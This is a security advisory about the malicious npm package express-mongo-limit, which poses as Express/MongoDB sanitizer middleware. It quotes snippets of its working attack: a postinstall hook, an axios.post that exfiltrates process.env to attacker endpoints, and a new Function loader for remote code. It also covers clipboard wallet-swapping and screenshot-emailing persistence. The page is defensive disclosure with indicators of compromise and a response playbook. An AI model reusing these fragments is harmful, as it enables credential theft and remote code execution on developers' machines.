Your RSA-2048 keys break in 2030. Find every one of them before attackers do.
Malicious package

express-mongo-limitnpm

Advisory published Updated

express-mongo-limit is a confirmed malicious npm package (MAL-2026-7012) that steals credentials and exfiltrates sensitive data (malicious versions 1.0.0, 1.0.1, 1.0.2…). Do not install it — remove it immediately and rotate any exposed credentials.

Malicious code in express-mongo-limit (npm)

MAL-2026-7012
Immediate action
Remove the package, then rotate any secrets the build/runtime could reach.
npm uninstall express-mongo-limit

What this malware does

The npm package express-mongo-limit masquerades as an Express/MongoDB payload sanitization middleware (likely typosquatting express-mongo-sanitize) but is a credential stealer, remote-code-execution backdoor, crypto clipboard hijacker, and screenshot spyware. It declares a postinstall: node index.js hook, so the payload executes automatically on install. The obfuscated config/auth.js (built with javascript-obfuscator) exfiltrates the victim's entire process.env via axios.post(url, {...process.env}, { headers: { 'x-app-request': 'ip-check' } }) to an attacker-controlled endpoint, and index.js fetches arbitrary JavaScript from a C2 server and executes it with new Function("require", response.data)(require), writing the payload to apiKeyResponse.js for persistence. Version 2.0.1 additionally ships service.js, a clipboard hijacker that monitors the clipboard and silently replaces detected Ethereum/BNB, Bitcoin, Solana, and Tron wallet addresses with the attacker's wallets, and app.js, which captures the desktop screen every 2 seconds and emails each screenshot to [email protected] via nodemailer/Gmail. It establishes persistence by globally installing pm2, clipboardy, and screenshot-desktop and registering service.js as a PM2 startup service. Version 1.0.0 is a benign "Hello World" decoy used to stage the package name. The package was published by npm user jon_conway ([email protected]).

The package advertises itself as an Express/Mongo payload sanitizer but its postinstall hook (node index.js) globally installs pm2, clipboardy, and screenshot-desktop, then runs pm2 start service.js, pm2 save, and pm2 startup to persist a background service across reboots on the installer's machine. The persisted service (service.js) polls the system clipboard once per second and, when it detects an ETH/BSC, BTC, Solana, or Tron address, replaces it with hardcoded attacker wallets (ETH 0x62Fc857DE5469fDd81F57F309c2fb000cad7bbbb, BTC bc1q8tzzpun6rd45s6fgar2up8nfelt4u2r2h999cc, SOL 6A7vQWJveJBWP78oktAjoZbMakrCAQyLphJ5Kswy5xA4, TRX TUqk5th1eXZWrt1arsqpxZ3frqaCxc9Lr4) to redirect cryptocurrency transfers. A sibling app.js runs an infinite 2-second loop that captures the desktop via screenshot-desktop and emails each screenshot via nodemailer through a Gmail account ([email protected]); the app password is a placeholder in this version but the harvesting and delivery framework is fully wired. config/auth.js also exports a verify() helper that POSTs the entire process.env to a base64-obfuscated Vercel endpoint (gamboracle.vercel.app/api; a second endpoint ipcheck-six.vercel.app/api is stored in .env), with an atob-based decoder used to hide the destinations. The package name and description mimic the widely-used express-mongo-sanitize while the README is an unrelated hello-world-package stub, indicating the metadata is a lure. Installation on a default npm install triggers persistent RCE, clipboard-based crypto theft, desktop screenshot exfiltration, and provides an env-var exfiltration primitive to attacker-controlled endpoints.

Any computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.

Malicious versions

11 flagged
1.0.01.0.11.0.21.0.31.0.42.0.12.0.22.0.32.0.42.0.52.0.6

Indicators of compromise (SHA-256)

14fb26238eabda9c27993bc87c05daf79a9d747b09aa9913f4b0f423f9c02b11
7d96872ebd4caa268253a12ad978f944ea4cb9f5c7e8c56e8d6ca20371be80f0
8f17b459e01affe3f0cc1640da6fcc4e1db9cdf3b7379caa6e6865747ce71a60
e40668989935e632be0df4d21ff4e1570df764f62f6dd339de7c7e6da7aeca70
60e8444409604bef7ed65fb57dbff6911484b3681f65a0d47278d59642bb9a30
6b6a47dd6590628a6baf947d3f4d158b5e354b65fe086f956258a5c349ba11f9
e572a773618489b2c74ff22db3cc477911ed7420431acc2641452f78b4cec02d
8a25f4314d372274d6d93a19b826ca08ee1060846c71056973bcfc81dec7d139
0f209503565311b71790e90156cb2bbfd60e08dc17efdc012191e8af2652e745
825c83ced5973ce0988b1bf62f8dc2cdbb7f3d06c5d13414a19444167bec19da
74183df31456d3045bd64ee94249bf821b1abcc14518f9142f4efcf63d756d7e
d7fc7586e2c0eea2c2c164a98fda8fbaaa04eefdd2bb84b30cc79c65c115e932

Detection & response playbook

Credential / info stealer
  1. Find it

    Search your lockfiles and build artifacts for express-mongo-limit (11 malicious versions).

  2. If you installed it — respond

    express-mongo-limit is built to steal secrets, so assume every credential the build or runtime could read is compromised. Remove it from your project and lockfile, then rotate ALL exposed secrets — npm/registry tokens, cloud keys, CI/CD secrets, SSH keys, and any .env values — from a known-clean machine. Audit logs for unauthorized use of those credentials.

  3. Did it already run?

    If express-mongo-limit was installed, its post-install payload may already have run. Removing the package does not undo that — check outbound connections and credential use from the install window onward.

Frequently asked questions

No. express-mongo-limit on npm has been identified as a malicious package (versions 1.0.0, 1.0.1, 1.0.2, 1.0.3, 1.0.4, 2.0.1, 2.0.2, 2.0.3, and 3 more flagged). It should be removed immediately — do not install or keep it in your dependency tree.

Campaign

IN-MAL-2026-008169IN-MAL-2026-008166IN-MAL-2026-009662IN-MAL-2026-009661IN-MAL-2026-009663IN-MAL-2026-009664IN-MAL-2026-010462IN-MAL-2026-013079IN-MAL-2026-013078IN-MAL-2026-013082IN-MAL-2026-013386GHSA-rw8f-rf6x-jj3j

References

Credits

  • Amazon Inspector · finder
  • SafeDep · finder

Detect & block this

O3 blocks express-mongo-limit-class packages before install and in CI — and if it already ran, its runtime egress monitoring catches the credential exfiltration and severs the channel.

Explore

express-mongo-limit (npm) malicious package — MAL-2026-7012 | O3 Security